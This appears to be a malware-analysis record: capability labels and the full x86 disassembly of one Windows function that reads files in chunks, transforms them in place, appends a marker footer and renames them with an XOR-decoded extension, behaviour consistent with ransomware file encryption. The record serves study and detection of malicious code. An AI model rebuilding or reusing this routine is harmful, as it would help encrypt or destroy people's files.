Function at 0x401a4d
Capabilities:
Check if file exists
Encode data using xor
Get file attributes
Get file size
Move file
Read file on windows
Resolve function by parsing pe exports
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x574
push ebx
push esi
xor eax, eax
mov esi, ecx
push edi
mov edi, edx
mov dword [esp + 0x3c], esi
push edi
mov dword [esp + 0x58], edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x60], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
xor eax, eax
inc eax
cmp ebx, 0xffffffff
je 0x401ab0
test al, bl
je 0x401ab0
xor ebx, eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x401ab0
mov edx, edi
call fcn.00407054
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, eax
push eax
push eax
push 3
push eax
push eax
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0x78], ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp ebx, 0xffffffff
jne 0x401b14
cmp eax, 0x20
je 0x401adf
cmp eax, 0x21
jne 0x401b0c
mov edx, edi
call fcn.00407054
mov ecx, edi
call fcn.0040a48c
xor eax, eax
push eax
push eax
push 3
push eax
push eax
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0x78], ebx
cmp ebx, 0xffffffff
jne 0x401b14
push 2
pop eax
jmp 0x402a35
lea eax, [esp + 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [esp + 0x20]
or eax, dword [esp + 0x24]
jne 0x401b36
push 3
pop eax
mov dword [esp + 0x5c], eax
jmp 0x4021af
push 0x260
lea ecx, [esp + 0x26c]
call fcn.00405c85
add esp, 4
lea ecx, [esp + 0x18c]
push 0x1e
call fcn.00405c85
add esp, 4
lea ecx, [esp + 0x84]
push 0x16
call fcn.00405c85
add esp, 4
lea ecx, [esp + 0xcc]
push 0x14
pop eax
push eax
call fcn.00405c85
add esp, 4
lea ecx, [esp + 0xe0]
push 0x38
call fcn.00405c85
mov edx, dword [esp + 0x28]
xor eax, eax
add esp, 4
cmp edx, eax
jl 0x401bc2
jg 0x401ba5
mov ecx, dword [esp + 0x20]
cmp ecx, 0x1e
jbe 0x401bc6
push eax
lea eax, [esp + 0x18]
push eax
push 0x1e
lea eax, [esp + 0x198]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [esp + 0x24]
xor eax, eax
mov ecx, dword [esp + 0x20]
cmp dword [esp + 0x18c], 0x4034b50
jne 0x401c41
cmp edx, eax
jl 0x401c41
jg 0x401bde
cmp ecx, 0x62
jbe 0x401c41
push 2
push eax
push 0xffffffffffffffff
push 0xffffffffffffff9e
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push 0x38
lea eax, [esp + 0xec]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push 0x14
pop ecx
push ecx
lea eax, [esp + 0xd8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push 0x16
lea eax, [esp + 0x90]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
cmp dword [esp + 0xe0], 0x6064b50
jne 0x401cbd
cmp dword [esp + 0xcc], 0x7064b50
jne 0x401cbd
cmp dword [esp + 0x84], 0x6054b50
jne 0x401cbd
xor eax, eax
cmp dword [esp + 0x114], eax
jl 0x401cbd
mov eax, dword [esp + 0x110]
jg 0x401c83
cmp eax, 0x260
jbe 0x401cbd
sub eax, 0x260
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x114]
sbb eax, 0
cmp edx, eax
jl 0x401cbd
jg 0x401ca2
cmp ecx, dword [esp + 0x18]
jbe 0x401cbd
mov eax, dword [esp + 0x110]
sub eax, ecx
mov ecx, dword [esp + 0x114]
push 2
sbb ecx, edx
xor edx, edx
push edx
push ecx
push eax
jmp 0x401cd3
push 2
xorps xmm0, xmm0
xor ecx, ecx
movlpd qword [esp + 0x1c], xmm0
push ecx
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 1
xor eax, eax
push eax
push 0xffffffffffffffff
push 0xfffffda0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push 0x260
lea eax, [esp + 0x274]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 0x4c0], 0x57ea6b66
jne 0x401d2a
cmp dword [esp + 0x4c4], 0x6616be1a
jne 0x401d2a
push 4
jmp 0x401b2c
push 0x260
lea ecx, [esp + 0x26c]
call fcn.00405c85
add esp, 4
mov esi, 0x519068
mov edx, esi
push 0x20
call fcn.00405ca6
mov edx, 0x519088
mov dword [esp], 0x200
lea ecx, [esp + 0x28c]
call fcn.00405ca6
pop ecx
lea edx, [esp + 0x228]
call fcn.00407c96
push 0x50a460
lea edx, [esp + 0x22c]
lea ecx, [esp + 0x48c]
call fcn.004042e5
pop ecx
push esi
lea edx, [esp + 0x22c]
lea ecx, [esp + 0x1cc]
call fcn.004042e5
pop ecx
lea eax, [esp + 0x1e8]
push eax
lea ecx, [esp + 0x1cc]
call fcn.00405595
pop ecx
push 0x40
lea ecx, [esp + 0x22c]
call fcn.00405c85
add esp, 4
lea ecx, [esp + 0x1c8]
push 0x20
call fcn.00405c85
mov ax, word [0x516253]
add esp, 4
push 0x64
pop ecx
cmp ax, cx
jbe 0x401dea
mov dword [esp + 0x18], ecx
jmp 0x401df1
movzx eax, ax
mov dword [esp + 0x18], eax
mov esi, dword [esp + 0x24]
xor eax, eax
push eax
push ecx
push esi
push dword [esp + 0x2c]
call fcn.004c0800
xor ecx, ecx
push ecx
push dword [esp + 0x1c]
push edx
push eax
call fcn.004c0530
xor ecx, ecx
push ecx
push 0x20000
push edx
push eax
call fcn.004c0800
add eax, 1
mov ecx, edx
push 0
pop edx
adc ecx, edx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], ecx
cmp ecx, edx
jg 0x401e49
jl 0x401e3d
cmp eax, 3
jae 0x401e49
mov dword [esp + 0x2c], 3
mov dword [esp + 0x30], edx
cmp esi, edx
jg 0x401e66
jl 0x401e59
cmp dword [esp + 0x20], 0x20000
jae 0x401e66
xor esi, esi
mov dword [esp + 0x74], edx
inc esi
mov dword [esp + 0x50], esi
jmp 0x401eae
push edx
push 0x20000
push esi
push dword [esp + 0x2c]
call fcn.004c0800
mov ecx, edx
mov esi, eax
mov edx, esi
mov dword [esp + 0x50], esi
mov eax, ecx
mov dword [esp + 0x74], ecx
shld eax, edx, 0x11
shl edx, 0x11
cmp dword [esp + 0x24], eax
jl 0x401eab
jg 0x401e9b
cmp dword [esp + 0x20], edx
jb 0x401eab
add esi, 1
push 0
pop eax
adc ecx, eax
mov dword [esp + 0x50], esi
mov dword [esp + 0x74], ecx
xor esi, esi
inc esi
mov ecx, edi
call fcn.0040a04f
xor edx, edx
mov ecx, edx
jmp 0x401ede
movzx edx, word [edi + eax*2]
push 0x5c
pop ebx
cmp dx, bx
mov ebx, dword [esp + 0x78]
je 0x401ee4
cmp edx, 0x2f
je 0x401ee4
add eax, 0xffffffff
adc ecx, 0xffffffff
xor edx, edx
cmp ecx, edx
jg 0x401ebb
jl 0x401ee9
cmp eax, edx
ja 0x401ebb
jmp 0x401ee9
push 0
add eax, esi
pop edx
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea edi, [edi + eax*2]
push edx
push edx
push edx
push edx
push 0xffffffffffffffff
push edi
push edx
push 0xfde9
call esi
dec eax
xor ecx, ecx
push ecx
movzx eax, ax
push ecx
mov dword [esp + 0x84], eax
movzx eax, ax
push eax
mov eax, dword [esp + 0x48]
push dword [eax + 8]
push 0xffffffffffffffff
push edi
push ecx
push 0xfde9
call esi
push ecx
push ecx
lea eax, [esp + 0x210]
push eax
lea edx, [esp + 0x1f4]
lea ecx, [esp + 0x4d4]
call fcn.00401518
mov eax, dword [esp + 0x5c]
add esp, 0xc
mov dword [esp + 0x6c], eax
xorps xmm0, xmm0
mov eax, dword [esp + 0x74]
mov dword [esp + 0x70], eax
xor eax, eax
movlpd qword [esp + 0x60], xmm0
cmp dword [esp + 0x24], eax
jg 0x40223d
jl 0x401f7b
cmp dword [esp + 0x20], 0x40000000
jae 0x40223d
mov esi, dword [esp + 0x2c]
lea ecx, [esi*8 + 8]
call fcn.00405c2d
mov edx, eax
xor eax, eax
mov dword [esp + 0x58], edx
test edx, edx
je 0x4021a2
cmp esi, eax
jne 0x401fb6
cmp dword [esp + 0x30], eax
jne 0x401fb6
mov eax, dword [esp + 0x64]
mov edi, dword [esp + 0x60]
mov dword [esp + 0x34], eax
jmp 0x402192
mov esi, dword [esp + 0x64]
mov edi, dword [esp + 0x60]
mov dword [esp + 0x34], esi
mov ecx, dword [esp + 0x6c]
mov eax, ecx
mov edx, dword [esp + 0x70]
or eax, edx
je 0x40218e
xor eax, eax
push eax
push 2
push edx
push ecx
call fcn.004c0800
xorps xmm0, xmm0
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], edx
movlpd qword [esp + 0x18], xmm0
cmp edi, dword [esp + 0x2c]
jne 0x402003
cmp esi, ecx
je 0x40218e
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
mov dword [esp + 0x38], eax
mov dword [esp + 0x60], edx
cmp eax, dword [esp + 0x74]
jg 0x40217c
jl 0x402029
cmp edx, dword [esp + 0x50]
jae 0x40217c
mov eax, edx
or eax, dword [esp + 0x38]
je 0x40206d
add edx, dword [esp + 0x6c]
mov eax, dword [esp + 0x70]
adc eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x74]
mov dword [esp + 0x60], edx
mov dword [esp + 0x38], eax
cmp eax, ecx
jl 0x402071
jg 0x402055
cmp edx, dword [esp + 0x50]
jb 0x402071
mov edx, dword [esp + 0x50]
mov eax, ecx
sub edx, 1
push 0
pop ecx
sbb eax, ecx
mov dword [esp + 0x60], edx
mov dword [esp + 0x38], eax
jmp 0x402073
mov eax, dword [esp + 0x38]
xor ecx, ecx
xorps xmm0, xmm0
movlpd qword [esp + 0x40], xmm0
cmp edi, ecx
jne 0x402084
cmp esi, ecx
je 0x4020c1
mov ecx, dword [esp + 0x44]
mov dword [esp + 0x18], ecx
mov ecx, dword [esp + 0x40]
mov ebx, dword [esp + 0x58]
cmp dword [ebx + ecx*8], edx
mov ebx, dword [esp + 0x78]
jne 0x4020af
mov ebx, dword [esp + 0x58]
cmp dword [ebx + ecx*8 + 4], eax
mov ebx, dword [esp + 0x78]
je 0x402156
add ecx, 1
adc dword [esp + 0x18], 0
cmp ecx, edi
jne 0x402090
cmp dword [esp + 0x18], esi
jne 0x402090
mov ecx, edx
xor edx, edx
push edx
shld eax, ecx, 0x11
push edx
push eax
shl ecx, 0x11
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov esi, dword [esp + 0x3c]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push 0x20000
push dword [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [esp + 0x14]
mov edx, dword [esi]
lea ecx, [esp + 0x4cc]
call fcn.0040155e
pop ecx
mov ecx, dword [esp + 0x14]
xor eax, eax
push eax
pop edx
neg ecx
push 1
adc eax, edx
push edx
neg eax
push eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x1c]
push dword [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0x58]
add edi, 1
mov esi, dword [esp + 0x34]
mov edx, dword [esp + 0x60]
push 0
pop eax
adc esi, eax
mov dword [ecx + edi*8], edx
mov eax, dword [esp + 0x38]
mov dword [esp + 0x34], esi
mov dword [ecx + edi*8 + 4], eax
add edx, 1
push 0
pop ecx
adc eax, ecx
mov dword [esp + 0x60], edx
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x38], eax
cmp edi, dword [esp + 0x2c]
jne 0x402013
cmp esi, ecx
jne 0x402013
cmp edi, dword [esp + 0x2c]
jne 0x401fc2
cmp esi, ecx
jne 0x401fc2
mov edx, dword [esp + 0x58]
mov ecx, edx
call fcn.00405cd2
mov esi, dword [esp + 0x3c]
jmp 0x402335
inc eax
mov dword [esp + 0x5c], eax
mov esi, dword [esp + 0x3c]
mov edi, dword [esp + 0x54]
push 0x40
lea ecx, [esp + 0x1ec]
call fcn.00405c85
add esp, 4
lea ecx, [esp + 0x4c8]
push 0xb8
call fcn.00405c85
add esp, 4
cmp ebx, 0xffffffff
je 0x4021e0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [esp + 0x5c]
test ebx, ebx
jne 0x402a33
cmp byte [0x516255], bl
jne 0x4021fc
cmp byte [0x516256], bl
je 0x402220
push dword [esi + 4]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x402220
push dword [esi + 4]
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x4029d9
xor eax, eax
mov ebx, eax
push edi
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, dword [esi + 4]
mov ecx, edi
call fcn.0040a04f
xor edx, edx
mov ecx, edx
jmp 0x4029f8
mov esi, dword [esp + 0x30]
cmp esi, eax
jl 0x40225c
mov ecx, 0x1000
jg 0x402252
cmp dword [esp + 0x2c], ecx
jbe 0x40225c
mov esi, eax
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], esi
push eax
push eax
movlpd qword [esp + 0x20], xmm0
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor ecx, ecx
cmp dword [esp + 0x2c], ecx
jne 0x402283
cmp esi, ecx
je 0x4021a7
mov eax, dword [esp + 0x64]
mov edi, dword [esp + 0x60]
mov esi, dword [esp + 0x3c]
mov dword [esp + 0x34], eax
push ecx
lea eax, [esp + 0x18]
push eax
push 0x20000
push dword [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402335
cmp dword [esp + 0x14], 0
je 0x402335
push dword [esp + 0x14]
mov edx, dword [esi]
lea ecx, [esp + 0x4cc]
call fcn.0040155e
pop ecx
mov ecx, dword [esp + 0x14]
xor eax, eax
push eax
pop edx
neg ecx
push 1
adc eax, edx
push edx
neg eax
push eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x1c]
push dword [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
xor ecx, ecx
mov edx, 0x20000
inc ecx
add edi, ecx
push 0
pop eax
adc dword [esp + 0x34], eax
cmp dword [esp + 0x14], edx
jne 0x402335
push ecx
push eax
push eax
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
pop ecx
cmp edi, dword [esp + 0x2c]
jne 0x402293
mov eax, dword [esp + 0x30]
cmp dword [esp + 0x34], eax
jne 0x402293
xor eax, eax
cmp dword [esp + 0x34], eax
jl 0x4021ab
jg 0x40234b
cmp edi, eax
jbe 0x4021ab
push dword [esp + 0x54]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x519288
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x40
pop edx
lea ecx, [esp + 0x1e8]
call fcn.00404369
cmp byte [0x516255], 0
mov dword [esp + 0x4a8], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0x4bc], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 0x4ac], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 0x4b8], edi
mov dword [esp + 0x4b0], eax
mov dword [esp + 0x4c0], 0x57ea6b66
mov dword [esp + 0x4c4], 0x6616be1a
je 0x402993
mov edx, dword [0x5140c3]
lea esi, [esp + 0x9c]
push 0x2d
pop ebx
xor eax, eax
mov word [esp + 0xb2], dx
mov dword [esp + 0x9e], eax
lea edi, [esp + 0x190]
mov eax, dword [0x519a8c]
add edx, 0x1e
push 6
pop ecx
mov dword [esp + 0xa6], eax
mov eax, dword [0x514147]
mov dword [esp + 0xaa], eax
mov dword [esp + 0xae], eax
add eax, edx
mov edx, dword [esp + 0x7c]
push 6
mov word [esp + 0xa0], bx
mov dword [esp + 0xa6], 0xffffffff
mov dword [esp + 0x190], 0x4034b50
rep movsd dword es:[edi], dword [esi]
or dword [esp + 0xc2], 0xffffffff
lea esi, [esp + 0xb8]
or dword [esp + 0xc6], 0xffffffff
lea edi, [esp + 0x1b2]
or dword [esp + 0xca], 0xffffffff
xor ecx, ecx
mov word [esp + 0x1ac], cx
pop ecx
push 0x14
mov dword [esp + 0x1c], eax
pop eax
mov word [esp + 0xca], dx
mov word [esp + 0xb4], bx
push 0x10
mov dword [esp + 0xba], 0x800
mov dword [esp + 0xbe], 0xffffffff
mov dword [esp + 0x1ae], 0x4034b50
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x24]
lea esi, [esp + 0xa0]
mov word [esp + 0x1ca], ax
lea edi, [esp + 0x132]
xor eax, eax
mov dword [esp + 0x12c], 0x2014b50
inc eax
add ecx, 0x260
mov word [esp + 0x84], ax
pop eax
push 0
pop ebx
mov word [esp + 0x82], ax
mov eax, dword [esp + 0x24]
adc eax, ebx
mov dword [esp + 0x118], ecx
mov dword [esp + 0x11c], eax
mov dword [esp + 0x124], eax
movzx eax, dx
mov dword [esp + 0x120], ecx
xor ecx, ecx
cdq
mov ebx, edx
mov edx, dword [esp + 0x18]
add edx, eax
push 0
adc ecx, ebx
add edx, dword [esp + 0x24]
adc ecx, dword [esp + 0x28]
add edx, 0x292
mov dword [esp + 0x74], edx
pop edx
adc ecx, edx
push 0x3f
mov dword [esp + 0x5c], ecx
pop ecx
mov word [esp + 0x12c], cx
push 6
pop ecx
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
mov dword [esp + 0x14a], edx
push 0x3f
pop edx
push 6
mov dword [esp + 0x14a], ecx
lea esi, [esp + 0xb8]
mov dword [esp + 0x152], ecx
lea edi, [esp + 0x160]
mov dword [esp + 0x156], ecx
pop ecx
push 0x14
mov word [esp + 0x15e], dx
xor edx, edx
mov dword [esp + 0x15a], 0x2014b50
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x74]
mov esi, dword [esp + 0x5c]
pop ecx
mov word [esp + 0x174], cx
xor ecx, ecx
mov dword [esp + 0x176], ecx
mov word [esp + 0x17a], cx
mov dword [esp + 0x17c], ecx
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x180], ecx
mov ecx, dword [0x5140c3]
add ecx, eax
mov dword [esp + 0xe0], 0x6064b50
push 0
adc edx, ebx
mov dword [esp + 0x70], ecx
mov ebx, ecx
mov dword [esp + 0xe8], 0x2c
pop ecx
push 0x3f
pop eax
add ebx, edi
mov word [esp + 0xec], ax
push 0xa
adc edx, esi
mov dword [esp + 0xec], ecx
add ebx, 0x70
mov dword [esp + 0xf4], ecx
pop eax
adc edx, ecx
mov word [esp + 0xee], ax
mov dword [esp + 0xf4], ecx
push 2
pop eax
mov dword [esp + 0xfc], ecx
mov dword [esp + 0x104], ecx
mov ecx, ebx
sub ecx, edi
mov dword [esp + 0xf8], eax
mov dword [esp + 0x100], eax
mov eax, edx
sbb eax, esi
mov dword [esp + 0x108], ecx
mov dword [esp + 0x10c], eax
xor eax, eax
push 2
pop ecx
mov dword [esp + 0xd4], ebx
sub ebx, edi
or dword [esp + 0x94], 0xffffffff
mov dword [esp + 0xd8], edx
mov edx, dword [esp + 0x7c]
mov dword [esp + 0xd0], eax
mov dword [esp + 0xdc], ecx
mov dword [esp + 0x88], eax
mov word [esp + 0x8c], cx
mov word [esp + 0x8e], cx
mov word [esp + 0x98], ax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x110], edi
mov dword [esp + 0x114], esi
mov dword [esp + 0xcc], 0x7064b50
mov dword [esp + 0x84], 0x6054b50
mov dword [esp + 0x90], ebx
movzx ecx, dx
mov ebx, dword [esp + 0x78]
add eax, 0x32
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
add eax, ecx
mov dword [esp + 0x4b4], eax
xorps xmm0, xmm0
xor eax, eax
movlpd qword [esp + 0x18], xmm0
push eax
push eax
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call edi
mov esi, dword [esp + 0x3c]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x4bc]
push dword [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
push eax
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x1e
lea eax, [esp + 0x198]
push eax
push ebx
call edi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [0x5140c3]
push 0x5140c7
push ebx
call edi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [0x514147]
push 0x51414b
push ebx
call edi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x1e
lea eax, [esp + 0x1b6]
push eax
push ebx
call edi
mov ecx, dword [esp + 0x7c]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
movzx eax, cx
push eax
push dword [esi + 8]
push ebx
call edi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 4
lea eax, [esp + 0x8c]
push eax
push ebx
call edi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x10
lea eax, [esp + 0x124]
push eax
push ebx
call edi
push 2
pop eax
push eax
xorps xmm0, xmm0
xor eax, eax
push eax
movlpd qword [esp + 0x20], xmm0
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x1c]
push dword [esi]
push ebx
call edi
xor ecx, ecx
cmp ecx, dword [esp + 0x24]
jl 0x40281c
mov eax, dword [esp + 0x20]
jg 0x402815
cmp dword [esp + 0x4b4], eax
jbe 0x40281c
mov dword [esp + 0x4b4], eax
push ecx
lea eax, [esp + 0x14]
push eax
push 0x260
lea eax, [esp + 0x274]
push eax
push ebx
call edi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x2e
lea eax, [esp + 0x134]
push eax
push ebx
call edi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [0x5140c3]
push 0x5140c7
push ebx
call edi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x2e
lea eax, [esp + 0x162]
push eax
push ebx
call edi
mov ecx, dword [esp + 0x7c]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
movzx eax, cx
push eax
push dword [esi + 8]
push ebx
call edi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 4
lea eax, [esp + 0x8c]
push eax
push ebx
call edi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x10
lea eax, [esp + 0x124]
push eax
push ebx
call edi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x38
lea eax, [esp + 0xec]
push eax
push ebx
call edi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x14
pop eax
push eax
lea eax, [esp + 0xd8]
push eax
push ebx
call edi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x16
lea eax, [esp + 0x90]
push eax
push ebx
call edi
mov dword [esp + 0x40], 0x55
mov eax, dword [esp + 0x40]
xor al, 0x2e
mov byte [esp + 0x44], al
mov eax, dword [esp + 0x40]
inc al
mov byte [esp + 0x45], al
mov eax, dword [esp + 0x40]
add al, 2
xor al, 0x7a
mov byte [esp + 0x46], al
mov eax, dword [esp + 0x40]
add al, 3
mov byte [esp + 0x47], al
mov eax, dword [esp + 0x40]
add al, 4
xor al, 0x69
mov byte [esp + 0x48], al
mov eax, dword [esp + 0x40]
add al, 5
mov byte [esp + 0x49], al
mov eax, dword [esp + 0x40]
add al, 6
xor al, 0x70
mov byte [esp + 0x4a], al
mov eax, dword [esp + 0x40]
add al, 7
mov byte [esp + 0x4b], al
mov eax, dword [esp + 0x40]
add al, 8
xor ecx, ecx
mov byte [esp + 0x4c], al
mov edx, ecx
mov al, byte [esp + 0x44]
mov byte [esp + 0x4d], cl
mov al, byte [esp + edx + 0x44]
mov ecx, dword [esp + 0x40]
add cl, dl
xor cl, al
mov byte [esp + edx + 0x44], cl
inc edx
cmp edx, 9
jb 0x402967
xor eax, eax
mov byte [esp + 0x4d], al
lea eax, [esp + 0x44]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x4029ce
push 2
pop eax
push eax
xorps xmm0, xmm0
xor eax, eax
push eax
movlpd qword [esp + 0x20], xmm0
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x260
lea eax, [esp + 0x274]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
xor eax, eax
mov dword [esp + 0x5c], eax
jmp 0x4021ab
push 2
pop eax
mov ebx, eax
jmp 0x402a33
push 0x5c
pop edx
cmp word [edi + eax*2], dx
push 0
pop edx
je 0x4029fe
add eax, 0xffffffff
adc ecx, 0xffffffff
cmp ecx, edx
jg 0x4029e0
jl 0x402a33
cmp eax, edx
ja 0x4029e0
jmp 0x402a33
xor ecx, ecx
push 0x519a90
mov word [edi + eax*2 + 2], cx
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [esi + 4]
call fcn.00409f53
test eax, eax
jne 0x402a33
push dword [0x514147]
mov ecx, dword [esi + 4]
mov edx, 0x51414b
call fcn.00409fa1
pop ecx
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret